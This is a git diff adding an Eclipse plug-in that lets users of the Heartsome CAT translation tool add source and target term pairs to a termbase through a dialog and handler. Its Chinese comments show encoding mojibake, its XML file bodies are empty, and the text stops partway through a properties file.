b/ts/net.heartsome.cat.ts.ui.term/.classpath new file mode 100644 index 0000000..64c5e31 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.term/.project b/ts/net.heartsome.cat.ts.ui.term/.project new file mode 100644 index 0000000..ffbb627 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.ts.ui.term + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/ts/net.heartsome.cat.ts.ui.term/.settings/org.eclipse.jdt.core.prefs b/ts/net.heartsome.cat.ts.ui.term/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..af0f20f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,7 @@ +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.5 +org.eclipse.jdt.core.compiler.compliance=1.5 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.5 diff --git a/ts/net.heartsome.cat.ts.ui.term/META-INF/MANIFEST.MF b/ts/net.heartsome.cat.ts.ui.term/META-INF/MANIFEST.MF new file mode 100644 index 0000000..f66bdbd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/META-INF/MANIFEST.MF @@ -0,0 +1,30 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT TS UI Term +Bundle-SymbolicName: net.heartsome.cat.ts.ui.term;singleton:=true +Bundle-Version: 8.0.3.R8b_v20130408 +Bundle-Activator: net.heartsome.cat.ts.ui.term.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + org.eclipse.nebula.widgets.grid;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + net.heartsome.cat.common.ui;bundle-version="1.0.0", + net.heartsome.cat.ts.core;bundle-version="1.0.0", + net.heartsome.cat.ts.ui;bundle-version="1.0.0", + org.eclipse.core.resources;bundle-version="3.7.100", + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + org.eclipse.ui.ide;bundle-version="3.7.0", + org.eclipse.nebula.widgets.tablecombo;bundle-version="1.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.ts.ui.term +Import-Package: com.ximpleware, + net.heartsome.cat.database, + net.heartsome.cat.database.bean, + net.heartsome.cat.database.service, + net.heartsome.cat.document, + net.heartsome.cat.ts.tb.importer, + net.heartsome.cat.ts.tb.importer.extension, + net.heartsome.cat.ts.tb.match +Bundle-Localization: plugin +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/ts/net.heartsome.cat.ts.ui.term/build.properties b/ts/net.heartsome.cat.ts.ui.term/build.properties new file mode 100644 index 0000000..76e0813 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/build.properties @@ -0,0 +1,10 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + plugin.xml,\ + images/,\ + plugin.properties,\ + plugin_en.properties,\ + plugin_zh.properties diff --git a/ts/net.heartsome.cat.ts.ui.term/images/status/Loading.png b/ts/net.heartsome.cat.ts.ui.term/images/status/Loading.png new file mode 100644 index 0000000..64a25ba Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.term/images/status/Loading.png differ diff --git a/ts/net.heartsome.cat.ts.ui.term/images/term-view/addmatchedterm.png b/ts/net.heartsome.cat.ts.ui.term/images/term-view/addmatchedterm.png new file mode 100644 index 0000000..935c3b3 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.term/images/term-view/addmatchedterm.png differ diff --git a/ts/net.heartsome.cat.ts.ui.term/images/term-view/tb_title.png b/ts/net.heartsome.cat.ts.ui.term/images/term-view/tb_title.png new file mode 100644 index 0000000..7a86ced Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.term/images/term-view/tb_title.png differ diff --git a/ts/net.heartsome.cat.ts.ui.term/images/tool/add-term.png b/ts/net.heartsome.cat.ts.ui.term/images/tool/add-term.png new file mode 100644 index 0000000..b807cd7 Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.term/images/tool/add-term.png differ diff --git a/ts/net.heartsome.cat.ts.ui.term/images/translate/add-term.png b/ts/net.heartsome.cat.ts.ui.term/images/translate/add-term.png new file mode 100644 index 0000000..3be307e Binary files /dev/null and b/ts/net.heartsome.cat.ts.ui.term/images/translate/add-term.png differ diff --git a/ts/net.heartsome.cat.ts.ui.term/plugin.properties b/ts/net.heartsome.cat.ts.ui.term/plugin.properties new file mode 100644 index 0000000..a759c53 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/plugin.properties @@ -0,0 +1,8 @@ +termView.name = \u672f\u8bed\u5e93 + +menu.translation.addTerm = \u6dfb\u52a0\u672f\u8bed... +toolBar.addTerm = \u6dfb\u52a0\u672f\u8bed +command.addTerm = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93 + +menu.view.TBView = \u672f\u8bed\u5e93 +command.TBView = \u672f\u8bed\u5e93 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.term/plugin.xml b/ts/net.heartsome.cat.ts.ui.term/plugin.xml new file mode 100644 index 0000000..9b586ac --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/plugin.xml @@ -0,0 +1,136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.ui.term/plugin_en.properties b/ts/net.heartsome.cat.ts.ui.term/plugin_en.properties new file mode 100644 index 0000000..3273392 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/plugin_en.properties @@ -0,0 +1,8 @@ +termView.name = Termbase + +menu.translation.addTerm = Add Term... +toolBar.addTerm = Add Term +command.addTerm = Add Terms to Termbase + +menu.view.TBView = Termbase +command.TBView = Termbase diff --git a/ts/net.heartsome.cat.ts.ui.term/plugin_zh.properties b/ts/net.heartsome.cat.ts.ui.term/plugin_zh.properties new file mode 100644 index 0000000..a759c53 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/plugin_zh.properties @@ -0,0 +1,8 @@ +termView.name = \u672f\u8bed\u5e93 + +menu.translation.addTerm = \u6dfb\u52a0\u672f\u8bed... +toolBar.addTerm = \u6dfb\u52a0\u672f\u8bed +command.addTerm = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93 + +menu.view.TBView = \u672f\u8bed\u5e93 +command.TBView = \u672f\u8bed\u5e93 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/Activator.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/Activator.java new file mode 100644 index 0000000..466d152 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/Activator.java @@ -0,0 +1,76 @@ +package net.heartsome.cat.ts.ui.term; + +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.swt.graphics.ImageData; +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.ts.ui.term"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片的æè¿°ä¿¡æ¯ã€‚ + * @param path + * 图片资æºå¯¹æ’件的相对路径。 + * @return the image descriptor + */ + public static ImageDescriptor getImageDescriptor(String path) { + return imageDescriptorFromPlugin(PLUGIN_ID, path); + } + + /** + * æ供一个图片文件对æ’件的相对路径,返回该图片被伸缩å˜æ¢ä¸º16*16åƒç´ çš„æè¿°ä¿¡æ¯ã€‚ + * @param path + * the path + * @return the icon descriptor + */ + public static ImageDescriptor getIconDescriptor(String path) { + ImageDescriptor image = getImageDescriptor(path); + ImageData data = image.getImageData(); + data = data.scaledTo(16, 16); + image = ImageDescriptor.createFromImageData(data); + return image; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/ImageConstants.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/ImageConstants.java new file mode 100644 index 0000000..967b772 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/ImageConstants.java @@ -0,0 +1,23 @@ +/** + * ImageConstants.java + * + * Version information : + * + * Date:2012-5-2 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.term; + +/** + * @author jason + * @version + * @since JDK1.6 + */ +public interface ImageConstants { + /** 接å—术语 */ + String ACCPTE_TERM = "images/term-view/addmatchedterm.png"; +} diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/dialog/AddTermToTBDialog.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/dialog/AddTermToTBDialog.java new file mode 100644 index 0000000..e19a03f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/dialog/AddTermToTBDialog.java @@ -0,0 +1,415 @@ +package net.heartsome.cat.ts.ui.term.dialog; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.core.file.ProjectConfiger; +import net.heartsome.cat.ts.core.file.ProjectConfigerFactory; +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.tb.importer.TbImporter; +import net.heartsome.cat.ts.tb.importer.extension.ITbImporter; +import net.heartsome.cat.ts.ui.term.resource.Messages; +import net.heartsome.cat.ts.ui.term.view.TerminologyViewPart; + +import org.eclipse.core.resources.IProject; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.NavException; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +/** + * 添加术语到术语库对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class AddTermToTBDialog extends TrayDialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class.getName()); + + /** æºè¯­è¨€ */ + private String srcLang; + + /** 目标语言 */ + private String tgtLang; + + /** æºæœ¯è¯­ */ + private String srcText; + + /** 目标术语 */ + private String tgtText; + + /** 选中行的æºæ–‡æœ¬ï¼Œç”¨äºŽæœ¯è¯­åŒ¹é… */ + private String srcAllText; + + /** 文件所属的 project 对象 */ + private IProject project; + + /** æºè¯­è¨€ä¸‹æ‹‰æ¡† */ + private TableComboViewer cmbSrcLang; + + /** 目标语言下拉框 */ + private TableComboViewer cmbTgtLang; + + private static AddTermToTBDialog instance; + + /** æºæœ¯è¯­æ–‡æœ¬æ¡† */ + public Text txtSrc; + + /** 目标术语文本框 */ + public Text txtTgt; + + private Text txtProperty; + + /** + * 由于添加术语到术语库中的æºæœ¯è¯­å’Œç›®æ ‡æœ¯è¯­é€šè¿‡å¿«æ·é”®æ–¹å¼å¡«å……,因此使用å•ä¾‹æ¨¡å¼ï¼Œ ä¿è¯å¡«å……术语时是对åŒä¸€ä¸ªå¯¹è¯æ¡†è¿›è¡Œæ“作 + * @param parentShell + * @param srcText + * @param tgtText + * @return ; + */ + public static synchronized AddTermToTBDialog getInstance(Shell parentShell, String srcText, String tgtText) { + if (instance == null) { + instance = new AddTermToTBDialog(parentShell, srcText, tgtText); + } else { + // é‡æ–°é€‰æ‹©æºæˆ–目标åŽï¼Œå¯¹è¯æ¡†ä¸­ç›¸åº”的值也è¦æ”¹å˜ + instance.srcText = srcText; + instance.tgtText = tgtText; + instance.initProperty(); + } + return instance; + } + + /** + * ç§æœ‰æž„造方法 + * @param parentShell + * @param srcText + * æºæœ¯è¯­ + * @param tgtText + * 目标术语 + */ + private AddTermToTBDialog(Shell parentShell, String srcText, String tgtText) { + super(parentShell); + this.srcText = srcText; + this.tgtText = tgtText; + setShellStyle(getShellStyle() & ~SWT.APPLICATION_MODAL); + setHelpAvailable(true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.AddTermToTBDialog.title")); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 添加术语 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s04.html#add-terminology", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().extendedMargins(5, 5, 10, 0).numColumns(2).equalWidth(true).applyTo(tparent); + GridData parentData = new GridData(GridData.FILL_BOTH); + tparent.setLayoutData(parentData); + + Composite cmpTerm = new Composite(tparent, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(cmpTerm); + GridDataFactory.swtDefaults().applyTo(cmpTerm); + Label lblSource = new Label(cmpTerm, SWT.NONE); + lblSource.setText(Messages.getString("dialog.AddTermToTBDialog.lblSource")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSource); + txtSrc = new Text(cmpTerm, SWT.BORDER); + GridData txtData = new GridData(); + // 解决在 Windows 下文本框高度太å°çš„问题 + txtData.widthHint = 290; + txtSrc.setLayoutData(txtData); + Label lblTarget = new Label(cmpTerm, SWT.NONE); + lblTarget.setText(Messages.getString("dialog.AddTermToTBDialog.lblTarget")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblTarget); + txtTgt = new Text(cmpTerm, SWT.BORDER); + txtTgt.setLayoutData(txtData); + + Composite cmpLang = new Composite(tparent, SWT.NONE); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(cmpLang); + GridDataFactory.fillDefaults().applyTo(cmpLang); + Label lblSrcLang = new Label(cmpLang, SWT.NONE); + lblSrcLang.setText(Messages.getString("dialog.AddTermToTBDialog.lblSrcLang")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblSrcLang); + cmbSrcLang = new TableComboViewer(cmpLang, SWT.READ_ONLY | SWT.BORDER); + cmbSrcLang.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + cmbSrcLang.setContentProvider(new ArrayContentProvider()); + + Label lblTgtLang = new Label(cmpLang, SWT.NONE); + lblTgtLang.setText(Messages.getString("dialog.AddTermToTBDialog.lblTgtLang")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblTgtLang); + cmbTgtLang = new TableComboViewer(cmpLang, SWT.READ_ONLY | SWT.BORDER); + cmbTgtLang.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + cmbTgtLang.setContentProvider(new ArrayContentProvider()); + initProperty(); + Composite cmpProperty = new Composite(tparent, SWT.None); + GridLayoutFactory.fillDefaults().numColumns(2).equalWidth(false).applyTo(cmpProperty); + GridDataFactory.fillDefaults().span(2, 1).applyTo(cmpProperty); + Label lblProperty = new Label(cmpProperty, SWT.None); + lblProperty.setText(Messages.getString("dialog.AddTermToTBDialog.lblProperty")); + GridDataFactory.fillDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lblProperty); + txtProperty = new Text(cmpProperty, SWT.BORDER); + txtProperty.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + tparent.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return tparent; + } + + /** + * åˆå§‹åŒ–å„个控件的值 ; + */ + public void initProperty() { + if (srcText != null && !srcText.equals("")) { + txtSrc.setText(srcText); + txtSrc.setSelection(0, srcText.length()); + txtSrc.setFocus(); + } + if (tgtText != null && !tgtText.equals("")) { + txtTgt.setText(tgtText); + txtTgt.setSelection(0, tgtText.length()); + txtTgt.setFocus(); + } + + ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(project); + List rsLstSrcLangs = new ArrayList(); + List rsLstTgtLangs = null; + try { + rsLstSrcLangs.add(projectConfig.getSourceLanguage()); + rsLstTgtLangs = projectConfig.getTargetlanguages(); + } catch (XPathParseException e) { + LOGGER.error(Messages.getString("dialog.AddTermToTBDialog.logger"), e); + } catch (NavException e) { + LOGGER.error(Messages.getString("dialog.AddTermToTBDialog.logger"), e); + } catch (XPathEvalException e) { + LOGGER.error(Messages.getString("dialog.AddTermToTBDialog.logger"), e); + } + ArrayList lstTgtLangs = new ArrayList(); + if (rsLstTgtLangs != null) { + for (Language lang : rsLstTgtLangs) { + lstTgtLangs.add(lang.getCode()); + } + } + cmbSrcLang.setLabelProvider(new LanguageLabelProvider()); + cmbSrcLang.setInput(rsLstSrcLangs); + cmbSrcLang.getTableCombo().select(0); + cmbTgtLang.setLabelProvider(new LanguageLabelProvider()); + cmbTgtLang.setInput(rsLstTgtLangs); + if (tgtLang != null) { + cmbTgtLang.getTableCombo().select(lstTgtLangs.indexOf(tgtLang)); + } + } + + /** + * 获å–æºè¯­è¨€ + * @return ; + */ + public String getSrcLang() { + return srcLang; + } + + /** + * 设置æºè¯­è¨€ + * @param srcLang + * æºè¯­è¨€ + */ + public void setSrcLang(String srcLang) { + this.srcLang = srcLang; + } + + /** + * 获å–目标语言 + * @return ; + */ + public String getTgtLang() { + return tgtLang; + } + + /** + * 设置目标语言 + * @param tgtLang + * 目标语言 + */ + public void setTgtLang(String tgtLang) { + this.tgtLang = tgtLang; + } + + /** + * èŽ·å– IProject 对象 + * @return ; + */ + public IProject getProject() { + return project; + } + + /** + * 设置 IProject 对象 + * @param project + * ; + */ + public void setProject(IProject project) { + this.project = project; + } + + /** + * 获å–选中行的æºæ–‡æœ¬ + * @return ; + */ + public String getSrcAllText() { + return srcAllText; + } + + /** + * 设置选中行的æºæ–‡æœ¬ + * @param srcAllText + * ; + */ + public void setSrcAllText(String srcAllText) { + this.srcAllText = srcAllText; + } + + @Override + protected void okPressed() { + String srcTerm = cleanString(txtSrc.getText()); + String tgtTerm = cleanString(txtTgt.getText()); + + if (srcTerm == null || srcTerm.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.AddTermToTBDialog.msgTitle"), + Messages.getString("dialog.AddTermToTBDialog.msg1")); + return; + } + + if (tgtTerm == null || tgtTerm.equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.AddTermToTBDialog.msgTitle"), + Messages.getString("dialog.AddTermToTBDialog.msg2")); + return; + } + + // 添加空格ä¸å¯å…¥åº“的判断,--robert 2012-11-19 + if (srcTerm.length() > 0 && srcTerm.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.AddTermToTBDialog.msgTitle"), + Messages.getString("dialog.AddTermToTBDialog.addTip1")); + return; + } + if (tgtTerm.length() > 0 && tgtTerm.trim().equals("")) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.AddTermToTBDialog.msgTitle"), + Messages.getString("dialog.AddTermToTBDialog.addTip2")); + return; + } + + srcTerm = srcTerm.trim(); + tgtTerm = tgtTerm.trim(); + + XLFHandler handler = new XLFHandler(); + IStructuredSelection srcSelected = (IStructuredSelection) cmbSrcLang.getSelection(); + Language srcSelectedLang = (Language) srcSelected.getFirstElement(); + String srcLang = srcSelectedLang.getCode(); + + IStructuredSelection tgtSelection = (IStructuredSelection) cmbTgtLang.getSelection(); + Language tgtSelectedLang = (Language) tgtSelection.getFirstElement(); + String tgtLang = tgtSelectedLang.getCode(); + + String strTBX = handler.generateTBXWithString(srcLang, tgtLang, srcTerm, tgtTerm, txtProperty.getText()); + TbImporter importer = TbImporter.getInstance(); + importer.setProject(project); + int state = importer.executeImport(strTBX, srcLang, null); + if (state == ITbImporter.IMPORT_STATE_FAILED) { + MessageDialog.openInformation(Display.getCurrent().getActiveShell(), + Messages.getString("dialog.AddTermToTBDialog.msgTitle"), + Messages.getString("dialog.AddTermToTBDialog.msg3")); + return; + } + importer.clearResources(); + + TerminologyViewPart view = (TerminologyViewPart) PlatformUI.getWorkbench().getActiveWorkbenchWindow() + .getActivePage().findView(TerminologyViewPart.ID); + if (view != null) { + view.refresh(); + } + setReturnCode(OK); + close(); + } + + /** + * 当关闭对è¯æ¡†æ—¶ï¼Œå•ä¾‹å¯¹è±¡è¦ç½®ç©ºï¼Œå¦åˆ™å†æ¬¡æ‰“开对è¯æ¡†æ—¶ä¼šæŠ¥å¼‚常 + * @see org.eclipse.jface.dialogs.Dialog#close() + */ + @Override + public boolean close() { + boolean blnClose = super.close(); + instance = null; + return blnClose; + } + + public static String cleanString(String string) { + string = string.replaceAll("&", "&"); + string = string.replaceAll("<", "<"); + string = string.replaceAll(">", ">"); +// string = string.replaceAll("\"", """); // 这里的 引å·æ˜¯ä¸ç”¨è½¬ä¹‰çš„。--robert 2012-10-26 + return string; + } +} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/handler/AddTermToTBHandler.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/handler/AddTermToTBHandler.java new file mode 100644 index 0000000..c1371df --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/handler/AddTermToTBHandler.java @@ -0,0 +1,63 @@ +package net.heartsome.cat.ts.ui.term.handler; + +import net.heartsome.cat.ts.tb.importer.TbImporter; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.term.dialog.AddTermToTBDialog; +import net.heartsome.cat.ts.ui.term.resource.Messages; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.resources.IFile; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.handlers.HandlerUtil; +import org.eclipse.ui.part.FileEditorInput; +import org.slf4j.LoggerFactory; + +/** + * 添加术语到术语库的 Handler + * @author peason + * @version + * @since JDK1.6 + */ +public class AddTermToTBHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IEditorPart editor = HandlerUtil.getActiveEditor(event); + if (editor instanceof IXliffEditor) { + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + LoggerFactory.getLogger(AddTermToTBHandler.class).error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + IXliffEditor xliffEditor = (IXliffEditor) editor; + IFile file = ((FileEditorInput) editor.getEditorInput()).getFile(); +// ProjectConfiger projectConfig = ProjectConfigerFactory.getProjectConfiger(file.getProject()); +// List lstDatabase = projectConfig.getTermBaseDbs(true); + TbImporter.getInstance().setProject(file.getProject()); + if (!TbImporter.getInstance().checkImporter()) { + MessageDialog.openInformation(HandlerUtil.getActiveShell(event), + Messages.getString("handler.AddTermToTBHandler.msgTitle"), + Messages.getString("handler.AddTermToTBHandler.msg")); + return null; + } + + StringBuffer srcTerm = new StringBuffer(); + StringBuffer tgtTerm = new StringBuffer(); + String srcAllText = xliffEditor.getRowTransUnitBean(xliffEditor.getSelectedRows()[0]).getSrcText(); + xliffEditor.getSelectSrcOrTgtPureText(srcTerm, tgtTerm); + + AddTermToTBDialog dialog = AddTermToTBDialog.getInstance(editor.getSite().getShell(), srcTerm.toString().trim(), + tgtTerm.toString().trim()); + dialog.setProject(file.getProject()); + dialog.setSrcLang(xliffEditor.getSrcColumnName()); + dialog.setTgtLang(xliffEditor.getTgtColumnName()); + dialog.setSrcAllText(srcAllText); + dialog.open(); + } + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/Messages.java b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/Messages.java new file mode 100644 index 0000000..6b1469a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/Messages.java @@ -0,0 +1,25 @@ +package net.heartsome.cat.ts.ui.term.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public class Messages { + + private static final String BUNDLE_NAME = "net.heartsome.cat.ts.ui.term.resource.message"; + + private static ResourceBundle BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + public static String getString(String key) { + try { + return BUNDLE.getString(key); + } catch (MissingResourceException e) { + return key; + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message.properties b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message.properties new file mode 100644 index 0000000..2fbe868 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.term/src/net/heartsome/cat/ts/ui/term/resource/message.properties @@ -0,0 +1,28 @@ +dialog.AddTermToTBDialog.title = \u6dfb\u52a0\u672f\u8bed\u5230\u672f\u8bed\u5e93 +dialog.AddTermToTBDialog.lblSource = \u6e90\u6587\uff1a +dialog.AddTermToTBDialog.lblTarget = \u8bd1\u6587\uff1a +dialog.AddTermToTBDialog.lblSrcLang = \u6e90\u8bed\u8a00\uff1a +dialog.AddTermToTBDialog.lblTgtLang = \u76ee\u6807\u8bed\u8a00\uff1a +dialog.AddTermToTBDialog.lblProperty = \u5c5e\u6027\uff1a +dialog.AddTermToTBDialog.logger = [LOG] 